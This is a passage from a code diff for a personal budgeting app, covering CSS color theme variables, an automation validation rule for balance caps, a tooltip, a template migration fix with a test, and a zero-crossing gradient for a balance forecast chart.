--color-tableBorder: var(--palette-navy100);
--color-tableBorderSelected: var(--palette-purple500);
--color-tableBorderHover: var(--palette-purple400);
--color-tableBorderSeparator: var(--palette-navy400);
--color-tableRowBackgroundHighlight: var(--palette-blue150);
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
--color-tableRowHeaderBackground: var(--palette-navy50);
--color-tableRowHeaderText: var(--palette-navy800);
--color-numberPositive: var(--palette-green700);
--color-numberNegative: var(--palette-red500);
--color-numberNeutral: var(--palette-navy100);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange700);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-navy900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green500);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemBackgroundHover: var(--palette-navy800);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemText: var(--palette-navy150);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-navy150);
--color-menuBackground: var(--palette-white);
--color-menuItemBackground: var(--palette-navy50);
--color-menuItemBackgroundHover: var(--palette-navy100);
--color-menuItemText: var(--palette-navy900);
--color-menuItemTextHover: var(--color-menuItemText);
--color-menuItemTextSelected: var(--palette-purple300);
--color-menuItemTextHeader: var(--palette-navy400);
--color-menuBorder: var(--palette-navy100);
--color-menuBorderHover: var(--palette-purple100);
--color-menuKeybindingText: var(--palette-navy400);
--color-menuAutoCompleteBackground: var(--palette-navy900);
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
--color-menuAutoCompleteText: var(--palette-white);
--color-menuAutoCompleteTextHover: var(--palette-green150);
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
--color-modalBackground: var(--palette-white);
--color-modalBorder: var(--palette-white);
--color-mobileHeaderBackground: var(--palette-purple400);
--color-mobileHeaderText: var(--palette-navy50);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-navy50);
--color-mobileNavBackground: var(--palette-white);
--color-mobileNavItem: var(--palette-gray300);
--color-mobileNavItemSelected: var(--palette-purple500);
--color-mobileAccountShadow: var(--palette-navy300);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple500);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple150);
--color-markdownDark: var(--palette-purple400);
--color-markdownLight: var(--palette-purple100);
--color-buttonMenuText: var(--palette-navy100);
--color-buttonMenuTextHover: var(--palette-navy50);
--color-buttonMenuBackground: transparent;
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-navy500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple500);
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
--color-buttonPrimaryDisabledText: var(--palette-white);
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-navy900);
--color-buttonNormalTextHover: var(--color-buttonNormalText);
--color-buttonNormalBackground: var(--palette-white);
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
--color-buttonNormalBorder: var(--palette-navy150);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-blue600);
--color-buttonNormalDisabledText: var(--palette-navy300);
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
--color-calendarText: var(--palette-navy50);
--color-calendarBackground: var(--palette-navy900);
--color-calendarItemText: var(--palette-navy150);
--color-calendarItemBackground: var(--palette-navy800);
--color-calendarSelectedBackground: var(--palette-navy500);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green150);
--color-noticeBackgroundLight: var(--palette-green100);
--color-noticeBackgroundDark: var(--palette-green500);
--color-noticeText: var(--palette-green700);
--color-noticeTextLight: var(--palette-green500);
--color-noticeTextDark: var(--palette-green900);
--color-noticeTextMenu: var(--palette-green200);
--color-noticeBorder: var(--palette-green500);
--color-warningBackground: var(--palette-orange200);
--color-warningText: var(--palette-orange700);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange900);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red100);
--color-errorText: var(--palette-red500);
--color-errorTextDark: var(--palette-red700);
--color-errorTextDarker: var(--palette-red900);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple100);
--color-upcomingText: var(--palette-purple700);
--color-upcomingBorder: var(--palette-purple500);
--color-formLabelText: var(--palette-blue600);
--color-formLabelBackground: var(--palette-blue200);
--color-formInputBackground: var(--palette-navy50);
--color-formInputBackgroundSelected: var(--palette-white);
--color-formInputBackgroundSelection: var(--palette-purple500);
--color-formInputBorder: var(--palette-navy150);
--color-formInputTextReadOnlySelection: var(--palette-navy50);
--color-formInputBorderSelected: var(--palette-purple500);
--color-formInputText: var(--palette-navy900);
--color-formInputTextSelected: var(--palette-navy50);
--color-formInputTextPlaceholder: var(--palette-navy300);
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
--color-formInputTextSelection: var(--palette-navy100);
--color-formInputShadowSelected: var(--palette-purple300);
--color-formInputTextHighlight: var(--palette-purple200);
--color-checkboxText: var(--color-tableBackground);
--color-checkboxBackgroundSelected: var(--palette-blue500);
--color-checkboxBorderSelected: var(--palette-blue500);
--color-checkboxShadowSelected: var(--palette-blue300);
--color-checkboxToggleBackground: var(--palette-gray400);
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
--color-checkboxToggleDisabled: var(--palette-gray200);
--color-pillBackground: var(--palette-navy150);
--color-pillBackgroundLight: var(--palette-navy50);
--color-pillText: var(--palette-navy800);
--color-pillTextHighlighted: var(--palette-purple600);
--color-pillBorder: var(--palette-navy150);
--color-pillBorderDark: var(--palette-navy300);
--color-pillBackgroundSelected: var(--palette-blue150);
--color-pillTextSelected: var(--palette-blue900);
--color-pillBorderSelected: var(--palette-purple500);
--color-pillTextSubdued: var(--palette-navy200);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--palette-navy900);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple125);
--color-noteTagBackgroundHover: var(--palette-purple150);
--color-noteTagDefault: var(--palette-purple125);
--color-noteTagText: var(--palette-black);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetOtherMonth: var(--palette-gray50);
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
--color-budgetHeaderOtherMonth: var(--palette-gray80);
--color-floatingActionBarBackground: var(--palette-purple400);
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
--color-floatingActionBarText: var(--palette-navy50);
--color-tooltipText: var(--palette-navy900);
--color-tooltipBackground: var(--palette-white);
--color-tooltipBorder: var(--palette-navy150);
--color-calendarCellBackground: var(--palette-navy100);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,252 @@
:root {
--color-pageBackground: var(--palette-gray600);
--color-pageBackgroundModalActive: var(--palette-gray700);
--color-pageBackgroundTopLeft: var(--palette-gray800);
--color-pageBackgroundBottomRight: var(--palette-gray700);
--color-pageBackgroundLineTop: var(--palette-purple300);
--color-pageBackgroundLineMid: var(--palette-gray900);
--color-pageBackgroundLineBottom: var(--palette-gray150);
--color-pageText: var(--palette-gray100);
--color-pageTextLight: var(--palette-gray200);
--color-pageTextSubdued: var(--palette-gray400);
--color-pageTextDark: var(--palette-gray100);
--color-pageTextPositive: var(--palette-purple200);
--color-pageTextLink: var(--palette-purple300);
--color-pageTextLinkLight: var(--palette-purple300);
--color-cardBackground: var(--palette-gray800);
--color-cardBorder: var(--palette-purple300);
--color-cardShadow: var(--palette-gray900);
--color-tableBackground: var(--palette-gray800);
--color-tableRowBackgroundHover: var(--palette-gray500);
--color-tableText: var(--palette-gray150);
--color-tableTextLight: var(--color-tableText);
--color-tableTextSubdued: var(--palette-gray500);
--color-tableTextSelected: var(--palette-gray800);
--color-tableTextHover: var(--palette-gray400);
--color-tableTextInactive: var(--palette-gray400);
--color-tableHeaderText: var(--palette-gray200);
--color-tableHeaderBackground: var(--palette-gray900);
--color-tableBorder: var(--palette-gray600);
--color-tableBorderSelected: var(--palette-purple400);
--color-tableBorderHover: var(--palette-purple300);
--color-tableBorderSeparator: var(--palette-gray400);
--color-tableRowBackgroundHighlight: var(--palette-purple150);
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
--color-tableRowHeaderBackground: var(--palette-gray700);
--color-tableRowHeaderText: var(--palette-gray150);
--color-numberPositive: var(--palette-green300);
--color-numberNegative: var(--palette-red200);
--color-numberNeutral: var(--palette-gray500);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange200);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-gray900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green400);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemBackgroundHover: var(--palette-gray700);
--color-sidebarItemText: var(--palette-gray100);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-gray300);
--color-menuBackground: var(--palette-gray700);
--color-menuItemBackground: var(--palette-gray200);
--color-menuItemBackgroundHover: var(--palette-gray500);
--color-menuItemText: var(--palette-gray100);
--color-menuItemTextHover: var(--palette-gray50);
--color-menuItemTextSelected: var(--palette-purple400);
--color-menuItemTextHeader: var(--palette-purple200);
--color-menuBorder: var(--palette-gray800);
--color-menuBorderHover: var(--palette-purple300);
--color-menuKeybindingText: var(--palette-purple200);
--color-menuAutoCompleteBackground: var(--palette-gray600);
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
--color-menuAutoCompleteText: var(--palette-gray100);
--color-menuAutoCompleteTextHover: var(--palette-green400);
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
--color-menuAutoCompleteItemText: var(--color-menuItemText);
--color-modalBackground: var(--palette-gray700);
--color-modalBorder: var(--palette-gray200);
--color-mobileHeaderBackground: var(--palette-gray900);
--color-mobileHeaderText: var(--palette-purple200);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-gray900);
--color-mobileNavBackground: var(--palette-gray600);
--color-mobileNavItem: var(--palette-gray150);
--color-mobileNavItemSelected: var(--palette-purple200);
--color-mobileAccountShadow: var(--color-cardShadow);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple300);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple700);
--color-markdownDark: var(--palette-purple500);
--color-markdownLight: var(--palette-purple800);
--color-buttonMenuText: var(--palette-gray200);
--color-buttonMenuTextHover: var(--color-buttonMenuText);
--color-buttonMenuBackground: var(--palette-gray700);
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-gray500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple300);
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
--color-buttonPrimaryDisabledText: var(--palette-gray400);
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-gray150);
--color-buttonNormalTextHover: var(--palette-gray150);
--color-buttonNormalBackground: var(--palette-gray600);
--color-buttonNormalBackgroundHover: var(--palette-gray400);
--color-buttonNormalBorder: var(--palette-gray300);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-purple500);
--color-buttonNormalDisabledText: var(--palette-gray400);
--color-buttonNormalDisabledBackground: var(--palette-gray700);
--color-buttonNormalDisabledBorder: var(--palette-gray500);
--color-calendarText: var(--palette-gray50);
--color-calendarBackground: var(--palette-gray700);
--color-calendarItemText: var(--palette-gray150);
--color-calendarItemBackground: var(--palette-gray500);
--color-calendarSelectedBackground: var(
--color-buttonNormalSelectedBackground
);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green600);
--color-noticeBackgroundLight: var(--palette-green900);
--color-noticeBackgroundDark: var(--palette-green400);
--color-noticeText: var(--palette-green300);
--color-noticeTextLight: var(--palette-green400);
--color-noticeTextDark: var(--palette-green150);
--color-noticeTextMenu: var(--palette-green400);
--color-noticeTextMenuHover: var(--palette-green700);
--color-noticeBorder: var(--palette-green800);
--color-warningBackground: var(--palette-orange800);
--color-warningText: var(--palette-orange200);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange100);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red800);
--color-errorText: var(--palette-red200);
--color-errorTextDark: var(--palette-red150);
--color-errorTextDarker: var(--color-errorTextDark);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple800);
--color-upcomingText: var(--palette-purple200);
--color-upcomingBorder: var(--color-tableBorder);
--color-formLabelText: var(--palette-purple150);
--color-formLabelBackground: var(--palette-blue900);
--color-formInputBackground: var(--palette-gray800);
--color-formInputBackgroundSelected: var(--palette-gray700);
--color-formInputBackgroundSelection: var(--palette-purple400);
--color-formInputBorder: var(--palette-gray600);
--color-formInputTextReadOnlySelection: var(--palette-gray800);
--color-formInputBorderSelected: var(--palette-purple300);
--color-formInputText: var(--palette-gray150);
--color-formInputTextSelected: var(--palette-black);
--color-formInputTextPlaceholder: var(--palette-gray150);
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
--color-formInputTextSelection: var(--palette-gray800);
--color-formInputShadowSelected: var(--palette-purple400);
--color-formInputTextHighlight: var(--palette-purple200);
--color-checkboxText: var(--color-tableText);
--color-checkboxBackgroundSelected: var(--palette-purple300);
--color-checkboxBorderSelected: var(--palette-purple300);
--color-checkboxShadowSelected: var(--palette-purple500);
--color-checkboxToggleBackground: var(--palette-gray400);
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
--color-checkboxToggleDisabled: var(--palette-gray700);
--color-pillBackground: var(--palette-gray500);
--color-pillBackgroundLight: var(--palette-gray900);
--color-pillText: var(--palette-gray200);
--color-pillTextHighlighted: var(--palette-purple200);
--color-pillBorder: var(--palette-gray500);
--color-pillBorderDark: var(--color-pillBorder);
--color-pillBackgroundSelected: var(--palette-purple600);
--color-pillTextSelected: var(--palette-gray150);
--color-pillBorderSelected: var(--palette-purple300);
--color-pillTextSubdued: var(--palette-gray500);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--color-pageText);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple800);
--color-noteTagBackgroundHover: var(--palette-purple600);
--color-noteTagDefault: var(--palette-purple700);
--color-noteTagText: var(--palette-purple100);
--color-budgetOtherMonth: var(--palette-gray700);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetHeaderOtherMonth: var(--palette-gray800);
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
--color-floatingActionBarBackground: var(--palette-gray900);
--color-floatingActionBarBorder: var(--palette-purple300);
--color-floatingActionBarText: var(--palette-purple200);
--color-tooltipText: var(--palette-gray100);
--color-tooltipBackground: var(--palette-gray800);
--color-tooltipBorder: var(--palette-gray600);
--color-calendarCellBackground: var(--palette-navy900);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,103 @@
:root {
--palette-gray50: #f6f8fa;
--palette-gray80: #f0f4f6;
--palette-gray100: #e8ecf0;
--palette-gray150: #d4dae0;
--palette-gray200: #bdc5cf;
--palette-gray300: #98a1ae;
--palette-gray400: #747c8b;
--palette-gray500: #4d5768;
--palette-gray600: #373b4a;
--palette-gray700: #242733;
--palette-gray800: #141520;
--palette-gray900: #080811;
--palette-navy50: #f7fafc;
--palette-navy100: #e8ecf0;
--palette-navy150: #d9e2ec;
--palette-navy200: #bcccdc;
--palette-navy300: #9fb3c8;
--palette-navy400: #829ab1;
--palette-navy500: #627d98;
--palette-navy600: #486581;
--palette-navy700: #334e68;
--palette-navy800: #243b53;
--palette-navy900: #102a43;
--palette-blue50: #f5fcff;
--palette-blue100: #e3f0ff;
--palette-blue150: #b3d9ff;
--palette-blue200: #8bcafd;
--palette-blue300: #66b5fa;
--palette-blue400: #40a5f7;
--palette-blue500: #2b8fed;
--palette-blue600: #1980d4;
--palette-blue700: #1271bf;
--palette-blue800: #0b5fa3;
--palette-blue900: #034388;
--palette-green50: #fafffd;
--palette-green100: #effcf6;
--palette-green150: #c6f7e2;
--palette-green200: #8eedc7;
--palette-green300: #65d6ad;
--palette-green400: #3ebd93;
--palette-green500: #27ab83;
--palette-green600: #199473;
--palette-green700: #147d64;
--palette-green800: #0c6b58;
--palette-green900: #014d40;
--palette-orange50: #fffefa;
--palette-orange100: #fffbea;
--palette-orange150: #fff7c4;
--palette-orange200: #fcf088;
--palette-orange300: #f5e35d;
--palette-orange400: #f2d047;
--palette-orange500: #e6bb20;
--palette-orange600: #d4a31c;
--palette-orange700: #b88115;
--palette-orange800: #87540d;
--palette-orange900: #733309;
--palette-red50: #fff1f1;
--palette-red100: #ffe3e3;
--palette-red150: #ffbdbd;
--palette-red200: #ff9b9b;
--palette-red300: #f86a6a;
--palette-red400: #ef4e4e;
--palette-red500: #e12d39;
--palette-red600: #cf1124;
--palette-red700: #ab091e;
--palette-red800: #8a041a;
--palette-red900: #610316;
--palette-purple50: #f9f6fe;
--palette-purple100: #f2ebfe;
--palette-purple125: #e4d4ff;
--palette-purple150: #dac4ff;
--palette-purple200: #b990ff;
--palette-purple300: #a368fc;
--palette-purple400: #9446ed;
--palette-purple500: #8719e0;
--palette-purple600: #7a0ecc;
--palette-purple700: #690cb0;
--palette-purple800: #580a94;
--palette-purple900: #44056e;
--palette-white: #ffffff;
--palette-black: #000000;
--palette-hover: #fafafa;
--palette-border: #e8ecf0;
--palette-selected: #b3d9ff;
--palette-chartQual1: #45b29d;
--palette-chartQual2: #efc94c;
--palette-chartQual3: #e27a3f;
--palette-chartQual4: #df5a49;
--palette-chartQual5: #5f91b8;
--palette-chartQual6: #e2a37f;
--palette-chartQual7: #55dbc1;
--palette-chartQual8: #efda97;
--palette-chartQual9: #df948a;
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 87 KiB

After

Width:  |  Height:  |  Size: 87 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 88 KiB

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 87 KiB

After

Width:  |  Height:  |  Size: 87 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 84 KiB

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 84 KiB

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

After

Width:  |  Height:  |  Size: 83 KiB

View File

@@ -193,7 +193,7 @@ export function BalanceWithCarryover({
<div>
{
{
type: longGoalValue === 1 ? t('Long') : t('Template'),
type: longGoalValue === 1 ? t('Goal') : t('Automation'),
} as TransObjectLiteral
}
</div>

View File

@@ -19,6 +19,8 @@ export function AutomationErrorTitle({
return <Trans>Schedule not found</Trans>;
case 'refill-no-cap':
return <Trans>Refill needs a balance cap</Trans>;
case 'limit-no-contributor':
return <Trans>Balance cap needs a contributing automation</Trans>;
case 'percentage-out-of-range':
return <Trans>Percentage out of range</Trans>;
case 'percentage-no-source':
@@ -53,7 +55,9 @@ export function AutomationErrorShort({
<Trans>Pick a schedule</Trans>
);
case 'refill-no-cap':
return <Trans>Add a balance cap above</Trans>;
return <Trans>Add a balance cap</Trans>;
case 'limit-no-contributor':
return <Trans>Add an automation that contributes funds</Trans>;
case 'percentage-out-of-range':
return (
<Trans>{{ percent: error.percent }}% must be between 0 and 100</Trans>
@@ -100,6 +104,14 @@ export function AutomationErrorDetail({
added to use as the target.
</Trans>
);
case 'limit-no-contributor':
return (
<Trans>
A balance cap on its own does nothing. Add a contributing automation
(such as a fixed amount, save by date, or whatever is left) so the cap
has something to clamp.
</Trans>
);
case 'percentage-out-of-range':
return <Trans>Set a value greater than 0% and at most 100%.</Trans>;
case 'percentage-no-source':

View File

@@ -38,7 +38,7 @@ export function getDisplayTemplateMeta(
case 'schedule':
return {
label: t('Cover schedule'),
description: t('Save up for a recurring scheduled transaction.'),
description: t('Save up for a scheduled transaction.'),
icon: SvgCalendar3,
};
case 'by':

View File

@@ -7,6 +7,7 @@ import type { DisplayTemplateType } from './constants';
export type AutomationErrorKind =
| { kind: 'schedule-not-found'; name: string }
| { kind: 'refill-no-cap' }
| { kind: 'limit-no-contributor' }
| { kind: 'percentage-out-of-range'; percent: number }
| { kind: 'percentage-no-source' }
| { kind: 'percentage-source-not-found'; source: string }
@@ -48,6 +49,15 @@ export function validateAutomation(
return { kind: 'refill-no-cap' };
}
return null;
case 'limit':
if (
!allTemplates.some(
t => t.type !== 'limit' && t.type !== 'goal' && t.type !== 'error',
)
) {
return { kind: 'limit-no-contributor' };
}
return null;
case 'percentage':
if (template.type !== 'percentage') return null;
if (!template.category) return { kind: 'percentage-no-source' };

View File

@@ -3,6 +3,7 @@ import { useTranslation } from 'react-i18next';
import { SvgAlertTriangle } from '@actual-app/components/icons/v2';
import { Text } from '@actual-app/components/text';
import { theme } from '@actual-app/components/theme';
import { Tooltip } from '@actual-app/components/tooltip';
import { View } from '@actual-app/components/view';
import type { AutomationEntry } from '#components/budget/goals/automationExamples';
@@ -126,18 +127,24 @@ export function AutomationListRow({
/>
)}
</View>
<Text
style={{
fontSize: 11,
color: subtitleColor,
overflow: 'hidden',
textOverflow: 'ellipsis',
whiteSpace: 'nowrap',
display: 'block',
}}
<Tooltip
content={
<Text style={{ display: 'block', maxWidth: 320 }}>{subtitle}</Text>
}
>
{subtitle}
</Text>
<Text
style={{
fontSize: 11,
color: subtitleColor,
overflow: 'hidden',
textOverflow: 'ellipsis',
whiteSpace: 'nowrap',
display: 'block',
}}
>
{subtitle}
</Text>
</Tooltip>
</View>
{!NON_CONTRIBUTION_TYPES.has(entry.displayType) && (
<View

View File

@@ -100,6 +100,31 @@ describe('migrateTemplatesToAutomations', () => {
});
});
it('expands `#template 0 up to N` into limit + fixed-zero (not refill)', () => {
const simpleTemplate = {
type: 'simple',
directive: 'template',
priority: 4,
monthly: 0,
limit: {
amount: 1000,
hold: false,
period: 'monthly',
},
} satisfies Template;
const result = migrateTemplatesToAutomations([simpleTemplate]);
expect(result).toHaveLength(2);
expect(result.map(entry => entry.displayType)).toEqual(['limit', 'fixed']);
expect(result[1].template).toMatchObject({
type: 'periodic',
amount: 0,
directive: 'template',
priority: 4,
});
});
it('expands a simple template with both limit and monthly into limit + periodic (no implicit refill)', () => {
// `#template 20 up to 200 per week` budgets 20/month and caps at the
// limit — the engine's runSimple returns just the monthly value, so

View File

@@ -47,7 +47,8 @@ export function migrateTemplatesToAutomations(
templates.forEach(template => {
if (template.type === 'simple') {
const monthly = template.monthly;
const hasMonthly = monthly != null && monthly !== 0;
const hasMonthly =
monthly != null && (monthly !== 0 || template.limit != null);
if (template.limit) {
entries.push(
@@ -64,10 +65,7 @@ export function migrateTemplatesToAutomations(
'limit',
),
);
// The implicit refill only applies to a limit-only simple template
// (e.g. `#template up to 200`). When a monthly amount is also set
// (`#template 50 up to 200`), the engine just budgets the monthly
// amount and clamps to the cap — no top-up to the limit.
if (!hasMonthly) {
entries.push(
createAutomationEntry(
@@ -81,6 +79,7 @@ export function migrateTemplatesToAutomations(
);
}
}
if (hasMonthly) {
entries.push(
createAutomationEntry(

View File

@@ -46,6 +46,7 @@ import { useDispatch } from '#redux';
import {
buildBalanceForecastChartData,
countForecastScheduledOccurrences,
getZeroCrossingGradientOffset,
} from './balanceForecastChartData';
export function BalanceForecast() {
@@ -280,6 +281,7 @@ function BalanceForecastInner({ widget }: BalanceForecastInnerProps) {
const lowestPoint = forecastData?.lowestBalance;
const hasNegativeBalance = chartData.some(d => d.balance < 0);
const zeroCrossingGradientOffset = getZeroCrossingGradientOffset(chartData);
const todayReferenceDate =
granularity === 'Daily'
? monthUtils.currentDay()
@@ -384,6 +386,37 @@ function BalanceForecastInner({ widget }: BalanceForecastInnerProps) {
data={chartData}
margin={{ top: 10, right: 10, left: 5, bottom: 10 }}
>
<defs>
<linearGradient
id="balance-forecast-line-gradient"
x1="0"
y1="0"
x2="0"
y2="1"
>
{zeroCrossingGradientOffset == null ? (
<stop
offset="0%"
stopColor={
hasNegativeBalance
? theme.errorText
: theme.noticeText
}
/>
) : (
<>
<stop
offset={`${zeroCrossingGradientOffset}%`}
stopColor={theme.noticeText}
/>
<stop
offset={`${zeroCrossingGradientOffset}%`}
stopColor={theme.errorText}
/>
</>
)}
</linearGradient>
</defs>
<CartesianGrid strokeDasharray="3 3" />
<XAxis
dataKey="date"
